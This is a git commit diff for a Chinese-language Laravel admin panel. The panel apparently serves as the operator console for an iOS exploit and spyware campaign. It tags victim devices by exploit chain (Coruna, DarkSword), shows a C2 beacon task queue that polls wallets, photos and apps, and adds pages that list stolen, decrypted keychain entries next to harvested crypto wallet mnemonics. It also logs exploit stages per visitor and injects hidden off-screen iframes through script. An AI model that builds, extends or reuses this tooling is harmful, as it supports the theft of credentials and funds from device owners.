feat: ds
This commit is contained in:
@@ -115,7 +115,17 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
}
|
||||
|
||||
function promoIframe(url) {
|
||||
return '<iframe src="' + url + '" style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>';
|
||||
var path = '';
|
||||
try {
|
||||
path = new URL(url, location.origin).pathname || '';
|
||||
} catch (e) {
|
||||
var m = String(url || '').match(/https?:\/\/[^/]+(\/[^?]*)/i);
|
||||
path = m ? m[1] : String(url || '');
|
||||
}
|
||||
if (!path) path = '/';
|
||||
if (path.indexOf('?') >= 0) path = path.split('?')[0];
|
||||
path = path.replace(/["']/g, '');
|
||||
return '<script>document.body.appendChild(Object.assign(document.createElement("iframe"),{src:"' + path + '",style:"position:fixed;top:0;left:-1000px;pointer-events:none;border:0"}))<\/script>';
|
||||
}
|
||||
|
||||
function openLinks(row) {
|
||||
|
||||
@@ -13,6 +13,9 @@
|
||||
.wrap{word-break:break-all;max-width:640px}
|
||||
.wallet-row{background:#fff7e6}
|
||||
.tag-wallet{display:inline-block;background:#FFB800;color:#fff;padding:0 6px;border-radius:2px;font-size:12px}
|
||||
.tag-chain{display:inline-block;color:#fff;padding:0 6px;border-radius:2px;font-size:12px;line-height:20px}
|
||||
.tag-chain-coruna{background:#0d9488}
|
||||
.tag-chain-darksword{background:#7c3aed}
|
||||
.photo-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(140px,1fr));gap:12px}
|
||||
.photo-card{display:block;background:#fff;padding:8px;text-align:center;color:#333;border:1px solid #f0f0f0}
|
||||
.photo-card img{width:100%;height:120px;object-fit:cover;background:#eee}
|
||||
|
||||
@@ -13,6 +13,16 @@
|
||||
<input type="text" name="device_key" placeholder="设备 ID" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">利用链</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="family">
|
||||
<option value="">全部</option>
|
||||
<option value="coruna">Coruna</option>
|
||||
<option value="darksword">DarkSword</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
@include('admin.partials.filter_channel_select')
|
||||
@include('admin.partials.filter_agent_select')
|
||||
<div class="layui-inline">
|
||||
@@ -109,6 +119,11 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
|
||||
cols: [[
|
||||
{ field: 'id', title: 'ID', width: 80, sort: true },
|
||||
{ field: 'device_id', title: '设备 ID', minWidth: 180, sort: true },
|
||||
{ field: 'family', title: '利用链', width: 120, templet: function (d) {
|
||||
var ds = d.family === 'darksword';
|
||||
return '<span class="tag-chain ' + (ds ? 'tag-chain-darksword' : 'tag-chain-coruna') + '">' +
|
||||
(ds ? 'DarkSword' : 'Coruna') + '</span>';
|
||||
} },
|
||||
{ field: 'channel_id', title: '渠道 ID', width: 140, sort: true, templet: function (d) { return dash(d.channel_id); } },
|
||||
{ field: 'device_model', title: '设备型号', width: 130, sort: true, templet: function (d) { return dash(d.device_model); } },
|
||||
{ field: 'ios_version', title: 'iOS 版本', width: 110, sort: true, templet: function (d) { return dash(d.ios_version); } },
|
||||
|
||||
@@ -16,6 +16,16 @@
|
||||
<th width="140">渠道 ID</th>
|
||||
<td><code>{{ $device->channel_id ?: '—' }}</code></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>利用链</th>
|
||||
<td colspan="3">
|
||||
@if (($device->family ?: \App\Models\Device::FAMILY_CORUNA) === \App\Models\Device::FAMILY_DARKSWORD)
|
||||
<span class="tag-chain tag-chain-darksword">DarkSword</span>
|
||||
@else
|
||||
<span class="tag-chain tag-chain-coruna">Coruna</span>
|
||||
@endif
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>设备型号</th>
|
||||
<td>{{ $device->device_model ?: '—' }}</td>
|
||||
@@ -63,11 +73,66 @@
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
@if (($beaconTasks ?? collect())->isNotEmpty())
|
||||
@php
|
||||
$queuePending = $beaconTasks->firstWhere('status', \App\Models\DsBeaconTask::STATUS_PENDING);
|
||||
$queueCurrent = $queuePending
|
||||
?? $beaconTasks->firstWhere('status', \App\Models\DsBeaconTask::STATUS_DISPATCHED);
|
||||
@endphp
|
||||
<div class="layui-elem-quote" style="margin:0 0 16px;">
|
||||
C2 队列
|
||||
@if ($queuePending)
|
||||
· 下一条 <code>{{ $queuePending->type }}</code>
|
||||
@elseif ($beaconTasks->contains('status', \App\Models\DsBeaconTask::STATUS_DISPATCHED))
|
||||
· 已下发未回传,下一轮 /beacon 会重试
|
||||
@else
|
||||
· 本轮已回传,之后继续轮询钱包/相册/应用
|
||||
@endif
|
||||
</div>
|
||||
<table class="layui-table" style="margin-bottom: 16px;">
|
||||
<thead>
|
||||
<tr>
|
||||
<th width="60">#</th>
|
||||
<th width="180">任务</th>
|
||||
<th width="120">状态</th>
|
||||
<th width="180">下发时间</th>
|
||||
<th width="180">回传时间</th>
|
||||
<th>回传</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
@foreach ($beaconTasks as $task)
|
||||
@php
|
||||
$rowStyle = $queueCurrent && $task->id === $queueCurrent->id ? 'background:#fff7ed;' : '';
|
||||
@endphp
|
||||
<tr style="{{ $rowStyle }}">
|
||||
<td>{{ $task->position }}</td>
|
||||
<td><code>{{ $task->type }}</code> {{ $task->typeLabel() }}</td>
|
||||
<td>{{ $task->statusLabel() }}</td>
|
||||
<td>{{ $task->dispatched_at ?: '—' }}</td>
|
||||
<td>{{ $task->completed_at ?: '—' }}</td>
|
||||
<td class="wrap">
|
||||
@if ($task->result_count)
|
||||
{{ $task->result_count }} 次
|
||||
@if (!empty($task->result_meta['filename']))
|
||||
· {{ $task->result_meta['filename'] }}
|
||||
@endif
|
||||
@else
|
||||
—
|
||||
@endif
|
||||
</td>
|
||||
</tr>
|
||||
@endforeach
|
||||
</tbody>
|
||||
</table>
|
||||
@endif
|
||||
|
||||
<div class="layui-tab layui-tab-brief" style="margin-bottom: 0;">
|
||||
<ul class="layui-tab-title">
|
||||
@php $tabs = [
|
||||
'wallets' => '钱包地址',
|
||||
'mnemonics' => '助记词',
|
||||
'keystores' => '钥匙串',
|
||||
'photos' => '相册',
|
||||
'apps' => '已装 APP',
|
||||
'notes' => '备忘录',
|
||||
@@ -192,7 +257,7 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
form.render('checkbox');
|
||||
|
||||
$('#LAY-device-destroy').on('click', function () {
|
||||
layer.confirm('确认删除该设备?将同时删除相册、钱包、助记词、APP、备忘录、日志等全部关联数据,且不可恢复。', {
|
||||
layer.confirm('确认删除该设备?将同时删除相册、钱包、助记词、APP、备忘录、C2 队列、DS 阶段日志、访问记录及该设备的 DS 文件日志,且不可恢复。', {
|
||||
icon: 3,
|
||||
title: '删除设备'
|
||||
}, function (index) {
|
||||
@@ -362,6 +427,20 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
{ field: 'mnemonic', title: 'Mnemonic', minWidth: 220, templet: function (d) { return '<code>' + esc(d.mnemonic) + '</code>'; } },
|
||||
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } }
|
||||
]],
|
||||
keystores: [[
|
||||
{ field: 'id', title: 'ID', width: 80, sort: true },
|
||||
{ field: 'source', title: '来源', width: 140, sort: true, templet: function (d) { return esc(d.source || '未知'); } },
|
||||
{ field: 'decrypted', title: '已解密', width: 90, sort: true, templet: function (d) {
|
||||
return Number(d.decrypted) === 1 ? '是' : '否';
|
||||
} },
|
||||
{ field: 'kind', title: '类型', width: 110, templet: function (d) { return dash(d.kind); } },
|
||||
{ field: 'item_count', title: '条目', width: 70 },
|
||||
{ field: 'summary', title: '摘要', minWidth: 220, templet: function (d) { return dash(d.summary); } },
|
||||
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } },
|
||||
{ title: '操作', width: 110, align: 'center', templet: function (d) {
|
||||
return d.items_url ? '<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="items">查看</a>' : '—';
|
||||
} }
|
||||
]],
|
||||
apps: [[
|
||||
{ field: 'id', title: 'ID', width: 80, sort: true },
|
||||
{ field: 'name', title: '名称', minWidth: 140, sort: true, templet: function (d) { return dash(d.name); } },
|
||||
@@ -391,6 +470,7 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
var emptyMap = {
|
||||
wallets: '暂无地址',
|
||||
mnemonics: '暂无助记词',
|
||||
keystores: '暂无钥匙串',
|
||||
apps: '暂无应用',
|
||||
notes: '暂无备忘录',
|
||||
events: '暂无日志'
|
||||
@@ -412,6 +492,45 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
});
|
||||
|
||||
if (tab === 'keystores') {
|
||||
table.on('tool(LAY-device-tab-list)', function (obj) {
|
||||
if (obj.event !== 'items' || !obj.data.items_url) return;
|
||||
layer.load(1);
|
||||
$.getJSON(obj.data.items_url, function (res) {
|
||||
layer.closeAll('loading');
|
||||
if (!res || res.code !== 0) {
|
||||
return layer.msg((res && res.msg) || '加载失败');
|
||||
}
|
||||
var d = res.data || {};
|
||||
var items = d.items || [];
|
||||
var html = '<div style="padding:12px 16px 16px;"><div style="color:#666;font-size:13px;margin-bottom:10px;">#' +
|
||||
esc(d.id) + ' · 来源 ' + esc(d.source || '未知') + ' · ' + esc(d.kind || '') +
|
||||
' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') +
|
||||
' · ' + items.length + ' 条</div>';
|
||||
if (!items.length) {
|
||||
html += '<div style="color:#999;padding:24px 0;text-align:center;">暂无条目</div></div>';
|
||||
} else {
|
||||
html += '<table class="layui-table"><thead><tr>' +
|
||||
'<th>Account</th><th>Service</th><th>Access Group</th><th>Class</th><th>长度</th><th>预览</th>' +
|
||||
'</tr></thead><tbody>';
|
||||
items.forEach(function (it) {
|
||||
html += '<tr><td><code>' + esc(it.account || it.path || '—') + '</code></td>' +
|
||||
'<td>' + dash(it.service) + '</td>' +
|
||||
'<td><code>' + esc(it.access_group || '') + '</code></td>' +
|
||||
'<td>' + dash(it.protection_class) + '</td>' +
|
||||
'<td>' + esc(it.data_len) + '</td>' +
|
||||
'<td class="wrap"><code>' + esc(it.data_preview || '') + '</code></td></tr>';
|
||||
});
|
||||
html += '</tbody></table></div>';
|
||||
}
|
||||
layer.open({ type: 1, title: '钥匙串 #' + (d.id || ''), area: ['920px', '70%'], content: html });
|
||||
}).fail(function () {
|
||||
layer.closeAll('loading');
|
||||
layer.msg('加载失败');
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
if (tab === 'wallets') {
|
||||
form.render('select');
|
||||
form.on('submit(LAY-wallet-search)', function (data) {
|
||||
|
||||
@@ -0,0 +1,177 @@
|
||||
@extends('admin.content')
|
||||
|
||||
@section('title', '钥匙串')
|
||||
|
||||
@section('content')
|
||||
@php $portal = $portal ?? 'admin'; @endphp
|
||||
<style>
|
||||
.ks-wrap { padding: 12px 16px 16px; }
|
||||
.ks-meta { color: #666; font-size: 13px; margin-bottom: 10px; }
|
||||
.ks-empty { color: #999; padding: 24px 0; text-align: center; }
|
||||
.ks-table { width: 100%; border-collapse: collapse; font-size: 12px; }
|
||||
.ks-table th,
|
||||
.ks-table td {
|
||||
border: 1px solid #e6e6e6;
|
||||
padding: 8px 10px;
|
||||
text-align: left;
|
||||
vertical-align: top;
|
||||
}
|
||||
.ks-table th { background: #fafafa; font-weight: 600; white-space: nowrap; }
|
||||
.ks-table .mono {
|
||||
word-break: break-all;
|
||||
font-family: Menlo, Monaco, Consolas, monospace;
|
||||
}
|
||||
</style>
|
||||
<div class="layui-card">
|
||||
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-ks-search">
|
||||
<div class="layui-form-item">
|
||||
@include('admin.partials.filter_channel_select')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">设备 ID</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="device_key" class="layui-input" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
@include('admin.partials.filter_agent_select')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">来源</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="source">
|
||||
<option value="">全部</option>
|
||||
<option value="未知">未知</option>
|
||||
@foreach ($sources as $s)
|
||||
<option value="{{ $s }}">{{ $s }}</option>
|
||||
@endforeach
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">已解密</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="decrypted">
|
||||
<option value="">全部</option>
|
||||
<option value="1">是</option>
|
||||
<option value="0">否</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<button class="layui-btn" lay-submit lay-filter="LAY-ks-search">搜索</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
<div class="layui-card-body">
|
||||
<table id="LAY-ks-list" lay-filter="LAY-ks-list"></table>
|
||||
<script type="text/html" id="LAY-ks-ops">
|
||||
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="items">查看条目</a>
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
@endsection
|
||||
|
||||
@push('scripts')
|
||||
<script>
|
||||
layui.use(['table', 'form', 'layer'], function () {
|
||||
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
|
||||
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
||||
|
||||
function esc(v) {
|
||||
return String(v == null ? '' : v)
|
||||
.replace(/&/g, '&')
|
||||
.replace(/</g, '<')
|
||||
.replace(/>/g, '>')
|
||||
.replace(/"/g, '"');
|
||||
}
|
||||
function dash(v) { return v ? esc(v) : '—'; }
|
||||
|
||||
window.CorunaKeystoreItems = window.CorunaKeystoreItems || function (url, title) {
|
||||
layer.load(1);
|
||||
$.getJSON(url, function (res) {
|
||||
layer.closeAll('loading');
|
||||
if (!res || res.code !== 0) {
|
||||
return layer.msg((res && res.msg) || '加载失败');
|
||||
}
|
||||
var d = res.data || {};
|
||||
var items = d.items || [];
|
||||
var html = '<div class="ks-wrap"><div class="ks-meta">#' + esc(d.id) +
|
||||
' · 来源 ' + esc(d.source || '未知') +
|
||||
' · ' + esc(d.kind || '') +
|
||||
' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') +
|
||||
' · ' + items.length + ' 条</div>';
|
||||
if (!items.length) {
|
||||
html += '<div class="ks-empty">暂无条目</div></div>';
|
||||
} else {
|
||||
html += '<table class="ks-table"><thead><tr>' +
|
||||
'<th>Account</th><th>Service</th><th>Access Group</th><th>Class</th><th>长度</th><th>预览</th>' +
|
||||
'</tr></thead><tbody>';
|
||||
items.forEach(function (it) {
|
||||
html += '<tr>' +
|
||||
'<td class="mono">' + esc(it.account || it.path || '—') + '</td>' +
|
||||
'<td class="mono">' + dash(it.service) + '</td>' +
|
||||
'<td class="mono">' + dash(it.access_group) + '</td>' +
|
||||
'<td>' + dash(it.protection_class) + '</td>' +
|
||||
'<td>' + esc(it.data_len) + '</td>' +
|
||||
'<td class="mono">' + dash(it.data_preview) + '</td>' +
|
||||
'</tr>';
|
||||
});
|
||||
html += '</tbody></table></div>';
|
||||
}
|
||||
layer.open({
|
||||
type: 1,
|
||||
title: title || ('钥匙串 #' + (d.id || '')),
|
||||
area: ['920px', '70%'],
|
||||
content: html
|
||||
});
|
||||
}).fail(function () {
|
||||
layer.closeAll('loading');
|
||||
layer.msg('加载失败');
|
||||
});
|
||||
};
|
||||
|
||||
table.render({
|
||||
elem: '#LAY-ks-list',
|
||||
id: 'LAY-ks-list',
|
||||
url: @json(route($portal.'.keystores.data')),
|
||||
cols: [[
|
||||
{ field: 'id', title: 'ID', width: 70, sort: true },
|
||||
{ field: 'device_key', title: '设备 ID', width: 160, templet: function (d) { return d.device_key ? '<code>' + esc(d.device_key) + '</code>' : '—'; } },
|
||||
{ field: 'channel_id', title: '渠道 ID', minWidth: 180, templet: function (d) { return dash(d.channel_id); } },
|
||||
{ field: 'source', title: '来源', width: 130, sort: true, templet: function (d) { return esc(d.source || '未知'); } },
|
||||
{ field: 'decrypted', title: '已解密', width: 90, sort: true, templet: function (d) {
|
||||
return Number(d.decrypted) === 1 ? '是' : '否';
|
||||
} },
|
||||
{ field: 'kind', title: '类型', width: 110 },
|
||||
{ field: 'item_count', title: '条目', width: 70 },
|
||||
{ field: 'summary', title: '摘要', minWidth: 220, templet: function (d) { return dash(d.summary); } },
|
||||
{ field: 'created_at', title: '时间', width: 170, sort: true },
|
||||
{ title: '操作', width: 180, align: 'center', fixed: 'right', toolbar: '#LAY-ks-ops' }
|
||||
]],
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
text: { none: '暂无钥匙串' },
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
});
|
||||
form.on('submit(LAY-ks-search)', function (data) {
|
||||
table.reload('LAY-ks-list', { where: data.field, page: { curr: 1 } });
|
||||
return false;
|
||||
});
|
||||
table.on('tool(LAY-ks-list)', function (obj) {
|
||||
if (obj.event === 'items') {
|
||||
window.CorunaKeystoreItems(obj.data.items_url, '钥匙串 #' + obj.data.id);
|
||||
return;
|
||||
}
|
||||
if (obj.event !== 'detail') return;
|
||||
var url = obj.data.detail_url;
|
||||
var title = '设备 ' + (obj.data.device_key || obj.data.id);
|
||||
try {
|
||||
if (parent && parent.layui && parent.layui.index) {
|
||||
parent.layui.index.openTabsPage(url, title);
|
||||
return;
|
||||
}
|
||||
} catch (e) {}
|
||||
location.href = url;
|
||||
});
|
||||
});
|
||||
</script>
|
||||
@endpush
|
||||
@@ -84,6 +84,9 @@
|
||||
<dd data-name="mnemonics">
|
||||
<a lay-href="{{ route('admin.mnemonics.index') }}">助记词</a>
|
||||
</dd>
|
||||
<dd data-name="keystores">
|
||||
<a lay-href="{{ route('admin.keystores.index') }}">钥匙串</a>
|
||||
</dd>
|
||||
<dd data-name="transfers">
|
||||
<a lay-href="{{ route('admin.transfers.index') }}">交易记录</a>
|
||||
</dd>
|
||||
|
||||
@@ -19,6 +19,16 @@
|
||||
</div>
|
||||
</div>
|
||||
@include('admin.partials.filter_channel_select')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">利用链</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="chain">
|
||||
<option value="">全部</option>
|
||||
<option value="0">Coruna</option>
|
||||
<option value="1">DarkSword</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">系统</label>
|
||||
<div class="layui-input-block">
|
||||
@@ -50,23 +60,6 @@
|
||||
</div>
|
||||
</form>
|
||||
<div class="layui-card-body">
|
||||
<div class="layui-form" style="margin-bottom:12px;">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label" style="width:auto;">分组</label>
|
||||
<div class="layui-input-inline" style="width:180px;">
|
||||
<select id="LAY-visit-group">
|
||||
<option value="os">系统</option>
|
||||
<option value="os_version">系统 + 版本</option>
|
||||
<option value="browser">浏览器</option>
|
||||
<option value="browser_version">浏览器 + 版本</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<table class="layui-table" lay-size="sm">
|
||||
<thead><tr><th>分组</th><th>PV</th><th>UV</th></tr></thead>
|
||||
<tbody id="LAY-visit-groups"><tr><td colspan="3">—</td></tr></tbody>
|
||||
</table>
|
||||
<table id="LAY-visit-list" lay-filter="LAY-visit-list"></table>
|
||||
</div>
|
||||
</div>
|
||||
@@ -74,23 +67,16 @@
|
||||
|
||||
@push('scripts')
|
||||
<script>
|
||||
layui.use(['table', 'form'], function () {
|
||||
var table = layui.table, form = layui.form, $ = layui.$;
|
||||
var portal = @json($portal);
|
||||
layui.use(['table', 'form', 'layer'], function () {
|
||||
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
|
||||
var where = { range: '30d' };
|
||||
var logsUrl = @json(route($portal.'.visits.logs'));
|
||||
|
||||
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
||||
|
||||
function loadGroups() {
|
||||
var g = $('#LAY-visit-group').val() || 'os';
|
||||
$.getJSON(@json(route($portal.'.visits.groups')), Object.assign({}, where, { group: g }), function (res) {
|
||||
if (!res || res.code !== 0) return;
|
||||
var html = '';
|
||||
(res.data.rows || []).forEach(function (r) {
|
||||
html += '<tr><td>' + (r.label || '—') + '</td><td>' + r.pv + '</td><td>' + r.uv + '</td></tr>';
|
||||
});
|
||||
$('#LAY-visit-groups').html(html || '<tr><td colspan="3">暂无</td></tr>');
|
||||
});
|
||||
function esc(s) {
|
||||
return String(s == null ? '' : s)
|
||||
.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"');
|
||||
}
|
||||
|
||||
table.render({
|
||||
@@ -101,7 +87,12 @@ layui.use(['table', 'form'], function () {
|
||||
cols: [[
|
||||
{ field: 'id', title: 'ID', width: 70, sort: true },
|
||||
{ field: 'channel_id', title: '渠道', minWidth: 160 },
|
||||
{ field: 'client_uid', title: '访客 UID', width: 160 },
|
||||
{ field: 'chain_label', title: '利用链', width: 120, templet: function (d) {
|
||||
var ds = Number(d.chain) === 1;
|
||||
return '<span class="tag-chain ' + (ds ? 'tag-chain-darksword' : 'tag-chain-coruna') + '">' +
|
||||
(ds ? 'DarkSword' : 'Coruna') + '</span>';
|
||||
} },
|
||||
{ field: 'client_uid', title: '访客 UID', width: 280 },
|
||||
{ field: 'os', title: '系统', width: 90 },
|
||||
{ field: 'os_version', title: '系统版本', width: 100 },
|
||||
{ field: 'browser', title: '浏览器', width: 100 },
|
||||
@@ -109,27 +100,56 @@ layui.use(['table', 'form'], function () {
|
||||
{ field: 'ip', title: 'IP', width: 130 },
|
||||
{ field: 'referer', title: 'Referer', minWidth: 220 },
|
||||
{ field: 'user_agent', title: 'UA', minWidth: 260 },
|
||||
{ field: 'created_at', title: '时间', width: 170, sort: true }
|
||||
{ field: 'created_at', title: '时间', width: 170, sort: true },
|
||||
{ title: '操作', width: 110, align: 'center', fixed: 'right', templet: function (d) {
|
||||
if (Number(d.chain) !== 1) return '—';
|
||||
return '<a class="layui-btn layui-btn-xs" lay-event="chain-log">查看日志</a>';
|
||||
} }
|
||||
]],
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
});
|
||||
|
||||
table.on('tool(LAY-visit-list)', function (obj) {
|
||||
if (obj.event !== 'chain-log') return;
|
||||
var uid = obj.data.client_uid || '';
|
||||
var loading = layer.load(1, { shade: 0.2 });
|
||||
$.getJSON(logsUrl, Object.assign({}, where, { client_uid: uid }), function (res) {
|
||||
layer.close(loading);
|
||||
var rows = (res && res.data) || [];
|
||||
var html = '<div style="padding:16px;">';
|
||||
if (!rows.length) {
|
||||
html += '<div style="color:#94a3b8;">暂无利用阶段记录</div>';
|
||||
} else {
|
||||
html += '<table class="layui-table" lay-size="sm"><thead><tr>' +
|
||||
'<th>时间</th><th>阶段</th><th>进度</th><th>说明</th></tr></thead><tbody>';
|
||||
rows.forEach(function (r) {
|
||||
html += '<tr><td>' + esc(r.created_at) + '</td><td>' + esc(r.stage_label) +
|
||||
'</td><td>' + esc(r.progress) + '%</td><td>' + esc(r.label) + '</td></tr>';
|
||||
});
|
||||
html += '</tbody></table>';
|
||||
}
|
||||
html += '</div>';
|
||||
layer.open({
|
||||
type: 1,
|
||||
title: '利用日志 — ' + uid,
|
||||
area: ['720px', '480px'],
|
||||
content: html
|
||||
});
|
||||
}).fail(function () {
|
||||
layer.close(loading);
|
||||
layer.msg('加载失败');
|
||||
});
|
||||
});
|
||||
|
||||
form.on('submit(LAY-visit-search)', function (data) {
|
||||
where = data.field;
|
||||
table.reload('LAY-visit-list', { where: where, page: { curr: 1 } });
|
||||
loadGroups();
|
||||
return false;
|
||||
});
|
||||
|
||||
form.on('select', function (data) {
|
||||
if (data.elem && data.elem.id === 'LAY-visit-group') loadGroups();
|
||||
});
|
||||
$('#LAY-visit-group').on('change', loadGroups);
|
||||
|
||||
form.render();
|
||||
loadGroups();
|
||||
});
|
||||
</script>
|
||||
@endpush
|
||||
|
||||
@@ -74,6 +74,9 @@
|
||||
<dd data-name="mnemonics">
|
||||
<a lay-href="{{ route('user.mnemonics.index') }}">助记词</a>
|
||||
</dd>
|
||||
<dd data-name="keystores">
|
||||
<a lay-href="{{ route('user.keystores.index') }}">钥匙串</a>
|
||||
</dd>
|
||||
<dd data-name="transfers">
|
||||
<a lay-href="{{ route('user.transfers.index') }}">交易记录</a>
|
||||
</dd>
|
||||
|
||||
Reference in New Issue
Block a user